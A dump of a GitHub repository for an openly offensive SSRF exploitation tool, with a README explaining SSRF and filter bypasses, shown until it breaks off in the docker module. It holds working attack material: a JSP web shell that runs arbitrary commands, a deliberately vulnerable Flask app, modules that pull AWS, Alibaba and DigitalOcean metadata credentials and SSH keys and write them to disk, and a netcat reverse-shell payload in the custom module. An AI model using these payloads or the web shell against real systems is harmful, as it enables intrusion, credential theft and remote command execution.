├── .github └── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md ├── .gitignore ├── LICENSE ├── README.md ├── banner ├── SSRF-1.jpg ├── __pycache__ │ └── banner.cpython-311.pyc ├── banner.py ├── logo.jpg ├── screenshot.png └── ssrfupdated.jpg ├── data ├── cmd.jsp ├── example.py ├── ports.txt ├── request.txt ├── request2.txt ├── request3.txt ├── request4.txt └── request5.txt ├── docker └── Dockerfile ├── modules ├── alibaba.py ├── aws.py ├── consul.py ├── custom.py ├── digitalocean.py ├── docker.py ├── fastcgi.py ├── gce.py ├── github.py ├── httpcollaborator.py ├── memcache.py ├── mysql.py ├── networkscan.py ├── portscan.py ├── postgres.py ├── readfiles.py ├── redis.py ├── smbhash.py ├── smtp.py ├── socksproxy.py ├── template.py ├── tomcat.py └── zabbix.py ├── payloads └── blind-ssrf-payloads.json ├── requirements.txt ├── ssrf-exploit └── utils └── utils.py /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: For example, the shell does not upload to the target 5 | labels: bug 6 | assignees: errorfiathck 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Browser [e.g. chrome, safari] 29 | - Version [e.g. 22] 30 | 31 | **Additional context** 32 | Add any other context about the problem here. 33 | 34 | send me hear : errorfiathck@Gmail.com 35 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: For example, you can run a certain model or method 5 | labels: bug, help wanted 6 | assignees: errorfiathck 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | 22 | send me hear : errorfiathck@Gmail.com 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 158 | # and can be added to the global gitignore or merged into this file. For a more nuclear 159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 160 | #.idea/ 161 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Error 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 |

3 | 4 | Logo 5 | 6 | 7 |

SSRF exploit

8 | 9 |

10 | an exploit of Server-side request forgery (SSRF) 11 |
12 | Note this project is done... 13 |
14 |
15 | 16 |
17 |
18 | Our instagram page 19 | . 20 | Our youtube chanel 21 | . 22 | Our twitter page 23 |

24 |

25 | 26 | # Server-side request forgery (SSRF) 27 | 28 | In this section, we'll explain what server-side request forgery is, describe some common examples, and explain how to find and exploit various kinds of SSRF vulnerabilities. 29 | 30 | ![Screen Shot](./banner/SSRF-1.jpg) 31 | 32 | ## What is SSRF? 33 | > Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location. 34 | 35 | In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials. 36 | 37 | ## What is the impact of SSRF attacks? 38 | 39 | Server-Side Request Forgery, also known as SSRF refers to an attack which lets an attacker send crafted requests from the back-end server of a vulnerable web application. 40 | 41 | SSRF is commonly used by attackers to target internal networks that are behind firewalls and can not be reached from the external network. 42 | 43 | SSRF vulnerabilities occur when the attacker has full or partial control of the request sent by the web application. If the vulnerable web application processes the user-supplied URLs then the application is vulnerable to SSRF attacks. 44 | 45 | Cross-Site Port Attack (XSPA) is also a part of SSRF. In XSPA, an attacker can scan the open port of a targeted web server with the help of a vulnerable web application which is processing the user’s URL. 46 | 47 | ![Screen Shot](./banner/ssrfupdated.jpg) 48 | 49 | 50 | ## Common SSRF attacks 51 | 52 | SSRF attacks often exploit trust relationships to escalate an attack from the vulnerable application and perform unauthorized actions. These trust relationships might exist in relation to the server itself, or in relation to other back-end systems within the same organization. 53 | 54 | ## Impact of a Server Side Request Forgery Attack 55 | 56 | If the user-supplied URL is processed and the back-end response is not sanitised then the attack can lead to several impacts like: 57 | 58 | 1. Port scanning: A user can scan the port of a particular website through the vulnerable web application which is processing the user’s URL. 59 | 60 | 2. Fingerprinting intranet. 61 | 62 | 3. Attacking internal or external web applications. 63 | 64 | 4. Reading local web server files using the file:/// protocol handler. 65 | 66 | 5. In some cases, a successful SSRF attack can even lead to Remote Code Execution (RCE). 67 | 68 | ## SSRF attacks against the server itself 69 | 70 | In an SSRF attack against the server itself, the attacker induces the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This will typically involve supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or localhost (a commonly used name for the same adapter). 71 | 72 | For example, consider a shopping application that lets the user view whether an item is in stock in a particular store. To provide the stock information, the application must query various back-end REST APIs, dependent on the product and store in question. The function is implemented by passing the URL to the relevant back-end API endpoint via a front-end HTTP request. So when a user views the stock status for an item, their browser makes a request like this: 73 | 74 | ``` 75 | POST /product/stock HTTP/1.0 76 | Content-Type: application/x-www-form-urlencoded 77 | Content-Length: 118 78 | 79 | stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1 80 | ``` 81 | This causes the server to make a request to the specified URL, retrieve the stock status, and return this to the user. 82 | 83 | In this situation, an attacker can modify the request to specify a URL local to the server itself. For example: 84 | ``` 85 | POST /product/stock HTTP/1.0 86 | Content-Type: application/x-www-form-urlencoded 87 | Content-Length: 118 88 | 89 | stockApi=http://localhost/admin 90 | ``` 91 | Here, the server will fetch the contents of the /admin URL and return it to the user. 92 | 93 | Now of course, the attacker could just visit the /admin URL directly. But the administrative functionality is ordinarily accessible only to suitable authenticated users. So an attacker who simply visits the URL directly won't see anything of interest. However, when the request to the /admin URL comes from the local machine itself, the normal access controls are bypassed. The application grants full access to the administrative functionality, because the request appears to originate from a trusted location. 94 | 95 | Why do applications behave in this way, and implicitly trust requests that come from the local machine? This can arise for various reasons: 96 | 97 | - The access control check might be implemented in a different component that sits in front of the application server. When a connection is made back to the server itself, the check is bypassed. 98 | - For disaster recovery purposes, the application might allow administrative access without logging in, to any user coming from the local machine. This provides a way for an administrator to recover the system in the event they lose their credentials. The assumption here is that only a fully trusted user would be coming directly from the server itself. 99 | - The administrative interface might be listening on a different port number than the main application, and so might not be reachable directly by users. 100 | These kind of trust relationships, where requests originating from the local machine are handled differently than ordinary requests, is often what makes SSRF into a critical vulnerability. 101 | 102 | ## SSRF attacks against other back-end systems 103 | 104 | Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users. These systems often have non-routable private IP addresses. Since the back-end systems are normally protected by the network topology, they often have a weaker security posture. In many cases, internal back-end systems contain sensitive functionality that can be accessed without authentication by anyone who is able to interact with the systems. 105 | 106 | In the preceding example, suppose there is an administrative interface at the back-end URL https://192.168.0.68/admin. Here, an attacker can exploit the SSRF vulnerability to access the administrative interface by submitting the following request: 107 | 108 | ``` 109 | POST /product/stock HTTP/1.0 110 | Content-Type: application/x-www-form-urlencoded 111 | Content-Length: 118 112 | 113 | stockApi=http://192.168.0.68/admin 114 | ``` 115 | 116 | ## Circumventing common SSRF defenses 117 | 118 | It is common to see applications containing SSRF behavior together with defenses aimed at preventing malicious exploitation. Often, these defenses can be circumvented. 119 | 120 | ## SSRF with blacklist-based input filters 121 | 122 | Some applications block input containing hostnames like 127.0.0.1 and localhost, or sensitive URLs like /admin. In this situation, you can often circumvent the filter using various techniques: 123 | 124 | - Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1. 125 | - Registering your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose. 126 | - Obfuscating blocked strings using URL encoding or case variation. 127 | - Providing a URL that you control, which subsequently redirects to the target URL. Try using different redirect codes, as well as different protocols for the target URL. For example, switching from an http: to https: URL during the redirect has been shown to bypass some anti-SSRF filters. 128 | 129 | 130 | ## SSRF with whitelist-based input filters 131 | 132 | Some applications only allow input that matches, begins with, or contains, a whitelist of permitted values. In this situation, you can sometimes circumvent the filter by exploiting inconsistencies in URL parsing. 133 | 134 | The URL specification contains a number of features that are liable to be overlooked when implementing ad hoc parsing and validation of URLs: 135 | 136 | - You can embed credentials in a URL before the hostname, using the @ character. For example: 137 | ``` 138 | https://expected-host:fakepassword@evil-host 139 | ``` 140 | - You can use the # character to indicate a URL fragment. For example: 141 | ``` 142 | https://evil-host#expected-host 143 | ``` 144 | - You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: 145 | ``` 146 | https://expected-host.evil-host 147 | ``` 148 | - You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request. Note that you can also try double-encoding characters; some servers recursively URL-decode the input they receive, which can lead to further discrepancies. 149 | - You can use combinations of these techniques together. 150 | 151 | ## About The Project 152 | 153 | ![Screen Shot](./banner/screenshot.png) 154 | 155 | an exploit of Server-side request forgery (SSRF) 156 | 157 | ## The models that are added to the project 158 | 159 | - alibaba 160 | - aws 161 | - consul 162 | - docker 163 | - gce 164 | - mysql 165 | - networkscan 166 | - portscan 167 | - readfiles 168 | - redis 169 | - socksproxy 170 | - digitalocean 171 | - httpcollaborator 172 | - smtp 173 | - zabbix 174 | - smbhash 175 | - fastcgi 176 | - custom 177 | - github 178 | - template 179 | - tomcat 180 | - memcache 181 | - postgres 182 | 183 | ## Built With 184 | 185 | Whilst I was the main developer of this project, this project couldn't of even started without the help of these open source projects, special thanks to: 186 | 187 | - [[Python]](https://www.python.org/) 188 | 189 | ## Getting Started 190 | 191 | This is an example of how you may give instructions on setting up your project locally. 192 | To get a local copy up and running follow these simple example steps. 193 | 194 | ### Prerequisites 195 | 196 | This program has no pre-requisites 197 | 198 | ### Installation & Usage 199 | 200 | 1. Clone the repo 201 | 202 | ```sh 203 | git clone https://github.com/errorfiathck/ssrf-exploit.git 204 | ``` 205 | 206 | 2. cd to directory 207 | 208 | ```sh 209 | cd ssrf-exploit 210 | ``` 211 | 212 | 3. Once on your system, you'll need to install the Python dependencies. 213 | ```sh 214 | pip3 install -r requirements.txt 215 | ``` 216 | 217 | 4. run the script as example: 218 | ```sh 219 | python3 ssrf-exploit --help 220 | ``` 221 | 222 | - Have fun! 223 | -------------------------------------------------------------------------------- /banner/SSRF-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/errorfiathck/ssrf-exploit/d335f8e7715789aa1e31a895e12858485cf3b219/banner/SSRF-1.jpg -------------------------------------------------------------------------------- /banner/__pycache__/banner.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/errorfiathck/ssrf-exploit/d335f8e7715789aa1e31a895e12858485cf3b219/banner/__pycache__/banner.cpython-311.pyc -------------------------------------------------------------------------------- /banner/banner.py: -------------------------------------------------------------------------------- 1 | r='\033[1;31m' 2 | y='\033[1;33m' 3 | w='\033[1;37m' 4 | 5 | def banner(): 6 | 7 | import time 8 | time.sleep(1) 9 | from os import system, name; system('clear' if name == 'posix' else 'cls') 10 | 11 | main = f""" 12 | {r} _ 13 | {y} ___ {r} _ E _ {y} _ _ 14 | {y} ___ ___ ___| _|___ ___ _ _ ___{r}[,]{y}___|_| |_ 15 | {y}|_ -|_ -| _| _|___| -_|_'_| . {r}[,]{y} . | | _| 16 | {y}|___|___|_| |_| |___|_,_| _{r}[.]{y}___|_|_| 17 | |_| {r}V{y}... 18 | 19 | {w}created by : errorfiat 20 | """ 21 | 22 | print(f'{main : ^20}') 23 | 24 | banner() 25 | -------------------------------------------------------------------------------- /banner/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/errorfiathck/ssrf-exploit/d335f8e7715789aa1e31a895e12858485cf3b219/banner/logo.jpg -------------------------------------------------------------------------------- /banner/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/errorfiathck/ssrf-exploit/d335f8e7715789aa1e31a895e12858485cf3b219/banner/screenshot.png -------------------------------------------------------------------------------- /banner/ssrfupdated.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/errorfiathck/ssrf-exploit/d335f8e7715789aa1e31a895e12858485cf3b219/banner/ssrfupdated.jpg -------------------------------------------------------------------------------- /data/cmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.util.*,java.io.*"%> 2 | 3 |
4 | 5 | 6 |
7 |
 8 | <%
 9 | if (request.getParameter("cmd") != null) {
10 |         out.println("Command: " + request.getParameter("cmd") + "
"); 11 | Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); 12 | OutputStream os = p.getOutputStream(); 13 | InputStream in = p.getInputStream(); 14 | DataInputStream dis = new DataInputStream(in); 15 | String disr = dis.readLine(); 16 | while ( disr != null ) { 17 | out.println(disr); 18 | disr = dis.readLine(); 19 | } 20 | } 21 | %> 22 |
23 | -------------------------------------------------------------------------------- /data/example.py: -------------------------------------------------------------------------------- 1 | # NOTE: do not try this at home - highly vulnerable ! (SSRF and RCE) 2 | # NOTE: this file should become a simple ssrf example in order to test SSRFmap 3 | # FLASK_APP=example.py flask run 4 | 5 | from flask import Flask, abort, request 6 | import json 7 | import re 8 | import subprocess 9 | 10 | app = Flask(__name__) 11 | 12 | @app.route("/") 13 | def hello(): 14 | return "SSRF Example!" 15 | 16 | # curl -i -X POST -d 'url=http://example.com' http://localhost:5000/ssrf 17 | @app.route("/ssrf", methods=['POST']) 18 | def ssrf(): 19 | data = request.values 20 | content = command(f"curl {data.get('url')}") 21 | return content 22 | 23 | # curl -i -H "Content-Type: application/json" -X POST -d '{"url": "http://example.com"}' http://localhost:5000/ssrf2 24 | @app.route("/ssrf2", methods=['POST']) 25 | def ssrf2(): 26 | data = request.json 27 | print(data) 28 | print(data.get('url')) 29 | content = command(f"curl {data.get('url')}") 30 | return content 31 | 32 | # curl -v "http://127.0.0.1:5000/ssrf3?url=http://example.com" 33 | @app.route("/ssrf3", methods=['GET']) 34 | def ssrf3(): 35 | data = request.values 36 | content = command(f"curl {data.get('url')}") 37 | return content 38 | 39 | # curl -X POST -H "Content-Type: application/xml" -d '4142430A0http://google.com' http://127.0.0.1:5000/ssrf4 40 | @app.route("/ssrf4", methods=['POST']) 41 | def ssrf4(): 42 | data = request.data 43 | print(data.decode()) 44 | regex = re.compile("url>(.*?)4142430A0*FUZZ* -------------------------------------------------------------------------------- /data/request5.txt: -------------------------------------------------------------------------------- 1 | POST /index.php HTTP/1.1 2 | Host: ctf.hacklab-esgi.org:8082 3 | Content-Length: 5 4 | Cache-Control: max-age=0 5 | Origin: http://ctf.hacklab-esgi.org:8082 6 | Upgrade-Insecure-Requests: 1 7 | Content-Type: application/x-www-form-urlencoded 8 | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36 OPR/60.0.3255.15 (Edition beta) 9 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 10 | Referer: http://ctf.hacklab-esgi.org:8082/ 11 | Accept-Encoding: gzip, deflate 12 | Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7 13 | Cookie: session=718ec500-02c9-433e-ac3d-ece753ee1169 14 | Connection: close 15 | 16 | url=FUZZME -------------------------------------------------------------------------------- /docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM fedora:latest 2 | 3 | RUN dnf install -y --refresh \ 4 | konsole \ 5 | python3 \ 6 | python3-pip \ 7 | git \ 8 | 9 | RUN git clone https://github.com/errorfiathck/ssrf-exploit.git && \ 10 | cd ssrf-exploit 11 | pip3 install -r requirements.txt 12 | 13 | ENTRYPOINT ["python3", "ssef-exploit"] 14 | -------------------------------------------------------------------------------- /modules/alibaba.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | import os 4 | 5 | name = "alibaba" 6 | description = "Access sensitive data from the Alibaba Cloud" 7 | author = "errorfiathck" 8 | documentation = [""] 9 | 10 | class exploit(): 11 | endpoints = set() 12 | 13 | def __init__(self, requester, args): 14 | logging.info(f"Module '{name}' launched !") 15 | self.add_endpoints() 16 | 17 | r = requester.do_request(args.param, "") 18 | if r != None: 19 | default = r.text 20 | 21 | # Create directory to store files 22 | directory = requester.host 23 | # Replace : with _ for window folder name safe 24 | # https://www.ibm.com/docs/en/spectrum-archive-sde/2.4.1.0?topic=tips-file-name-characters 25 | directory = directory.replace(':','_') 26 | if not os.path.exists(directory): 27 | os.makedirs(directory) 28 | 29 | for endpoint in self.endpoints: 30 | payload = wrapper_http(endpoint[1], endpoint[0] , "80") 31 | r = requester.do_request(args.param, payload) 32 | diff = diff_text(r.text, default) 33 | if diff != "": 34 | 35 | # Display diff between default and ssrf request 36 | logging.info(f"\033[32mReading file\033[0m : {payload}") 37 | print(diff) 38 | 39 | # Write diff to a file 40 | filename = endpoint[1].split('/')[-1] 41 | if filename == "": 42 | filename = endpoint[1].split('/')[-2:-1][0] 43 | 44 | logging.info(f"\033[32mWriting file\033[0m : {payload} to {directory + '/' + filename}") 45 | with open(directory + "/" + filename, 'w') as f: 46 | f.write(diff) 47 | 48 | 49 | def add_endpoints(self): 50 | self.endpoints.add( ("100.100.100.200","latest/meta-data/instance-id") ) 51 | self.endpoints.add( ("100.100.100.200","latest/meta-data/image-id") ) 52 | self.endpoints.add( ("100.100.100.200","latest/meta-data/") ) -------------------------------------------------------------------------------- /modules/aws.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | import os 4 | 5 | name = "aws" 6 | description = "Access sensitive data from AWS" 7 | author = "errorfiathck" 8 | documentation = [ 9 | "https://hackerone.com/reports/53088", 10 | "https://hackerone.com/reports/285380", 11 | "https://blog.christophetd.fr/abusing-aws-metadata-service-using-ssrf-vulnerabilities/", 12 | "https://twitter.com/spengietz/status/1161317376060563456" 13 | ] 14 | 15 | class exploit(): 16 | endpoints = set() 17 | 18 | def __init__(self, requester, args): 19 | logging.info(f"Module '{name}' launched !") 20 | self.add_endpoints() 21 | 22 | r = requester.do_request(args.param, "") 23 | if r != None: 24 | default = r.text 25 | 26 | # Create directory to store files 27 | directory = requester.host 28 | # Replace : with _ for window folder name safe 29 | # https://www.ibm.com/docs/en/spectrum-archive-sde/2.4.1.0?topic=tips-file-name-characters 30 | directory = directory.replace(':','_') 31 | if not os.path.exists(directory): 32 | os.makedirs(directory) 33 | 34 | for endpoint in self.endpoints: 35 | payload = wrapper_http(endpoint[1], endpoint[0] , endpoint[2]) 36 | r = requester.do_request(args.param, payload) 37 | diff = diff_text(r.text, default) 38 | if diff != "": 39 | 40 | # Display diff between default and ssrf request 41 | logging.info(f"\033[32mReading file\033[0m : {payload}") 42 | print(diff) 43 | 44 | # Write diff to a file 45 | filename = endpoint[1].split('/')[-1] 46 | if filename == "": 47 | filename = endpoint[1].split('/')[-2:-1][0] 48 | 49 | logging.info(f"\033[32mWriting file\033[0m : {payload} to {directory + '/' + filename}") 50 | with open(directory + "/" + filename, 'w') as f: 51 | f.write(diff) 52 | 53 | 54 | def add_endpoints(self): 55 | self.endpoints.add( ("169.254.169.254","latest/user-data", "80") ) 56 | self.endpoints.add( ("169.254.169.254","latest/meta-data/ami-id", "80") ) 57 | self.endpoints.add( ("169.254.169.254","latest/meta-data/reservation-id", "80") ) 58 | self.endpoints.add( ("169.254.169.254","latest/meta-data/hostname", "80") ) 59 | self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/0/openssh-key", "80") ) 60 | self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/1/openssh-key", "80") ) 61 | self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/2/openssh-key", "80") ) 62 | self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/dummy", "80") ) 63 | self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/ecsInstanceRole", "80") ) 64 | self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/", "80") ) 65 | self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/", "80") ) 66 | self.endpoints.add( ("169.254.169.254","latest/user-data/", "80") ) 67 | self.endpoints.add( ("localhost","2018-06-01/runtime/invocation/next", "9001") ) 68 | -------------------------------------------------------------------------------- /modules/consul.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | import json 4 | import urllib.parse 5 | 6 | # NOTE : NOT TESTED YET 7 | # might need some editing to work properly ! 8 | 9 | name = "consul" 10 | description = "Hashicorp Consul Info Leak - Open API" 11 | author = "Swissky" 12 | documentation = [ 13 | "https://www.consul.io/api/agent.html" 14 | ] 15 | 16 | class exploit(): 17 | 18 | def __init__(self, requester, args): 19 | logging.info(f"Module '{name}' launched !") 20 | gen_host = gen_ip_list("127.0.0.1", args.level) 21 | port = "8500" 22 | 23 | # List Members 24 | for ip in gen_host: 25 | data = "/v1/agent/members" 26 | payload = wrapper_http(data, ip, port) 27 | r = requester.do_request(args.param, payload) 28 | 29 | if r.json: 30 | print(r.json) 31 | 32 | # Read Configuration 33 | for ip in gen_host: 34 | data = "/v1/agent/self" 35 | payload = wrapper_http(data, ip, port) 36 | r = requester.do_request(args.param, payload) 37 | 38 | if r.json: 39 | print(r.json) -------------------------------------------------------------------------------- /modules/custom.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import urllib.parse 3 | import logging 4 | 5 | name = "custom" 6 | description = "Send custom data to a listening service, e.g: netcat" 7 | author = "errorfiathck" 8 | documentation = [] 9 | 10 | class exploit(): 11 | SERVICE_IP = "127.0.0.1" 12 | SERVICE_PORT = "8080" 13 | SERVICE_DATA = "/bin/nc 127.0.0.1 4444 -e /bin/sh &" 14 | 15 | def __init__(self, requester, args): 16 | logging.info(f"Module '{name}' launched !") 17 | gen_hosts = gen_ip_list("127.0.0.1", args.level) 18 | self.SERVICE_PORT = input("Service Port: ") 19 | self.SERVICE_DATA = "%0d%0a"+urllib.parse.quote(input("Service Data: ")) 20 | 21 | for gen_host in gen_hosts: 22 | payload = wrapper_gopher(self.SERVICE_DATA, gen_host, self.SERVICE_PORT) 23 | 24 | if args.verbose == True: 25 | logging.info(f"Generated payload : {payload}") 26 | 27 | r = requester.do_request(args.param, payload) 28 | 29 | if args.verbose == True: 30 | logging.info(f"Module '{name}' ended !") -------------------------------------------------------------------------------- /modules/digitalocean.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | import os 4 | 5 | name = "digitalocean" 6 | description = "Access sensitive data from the Digital Ocean provider" 7 | author = "errorfiathck" 8 | documentation = ["https://developers.digitalocean.com/documentation/metadata/"] 9 | 10 | class exploit(): 11 | endpoints = set() 12 | 13 | def __init__(self, requester, args): 14 | logging.info(f"Module '{name}' launched !") 15 | self.add_endpoints() 16 | 17 | r = requester.do_request(args.param, "") 18 | if r != None: 19 | default = r.text 20 | 21 | directory = requester.host 22 | 23 | directory = directory.replace(':','_') 24 | if not os.path.exists(directory): 25 | os.makedirs(directory) 26 | 27 | for endpoint in self.endpoints: 28 | payload = wrapper_http(endpoint[1], endpoint[0] , "80") 29 | r = requester.do_request(args.param, payload) 30 | diff = diff_text(r.text, default) 31 | if diff != "": 32 | 33 | # Display diff between default and ssrf request 34 | logging.info(f"\033[32mReading file\033[0m : {payload}") 35 | print(diff) 36 | 37 | # Write diff to a file 38 | filename = endpoint[1].split('/')[-1] 39 | logging.info(f"\033[32mWriting file\033[0m : {payload} to {directory + '/' + filename}") 40 | with open(directory + "/" + filename, 'w') as f: 41 | f.write(diff) 42 | 43 | 44 | def add_endpoints(self): 45 | self.endpoints.add( ("169.254.169.254","metadata/v1/id") ) 46 | self.endpoints.add( ("169.254.169.254","metadata/v1/user-data") ) 47 | self.endpoints.add( ("169.254.169.254","metadata/v1/hostname") ) 48 | self.endpoints.add( ("169.254.169.254","metadata/v1/region") ) 49 | self.endpoints.add( ("169.254.169.254","metadata/v1/public-keys") ) 50 | self.endpoints.add( ("169.254.169.254","metadata/v1.json") ) 51 | -------------------------------------------------------------------------------- /modules/docker.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | import json 4 | import urllib.parse 5 | 6 | # NOTE 7 | # Enable Remote API with the following command 8 | # /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock 9 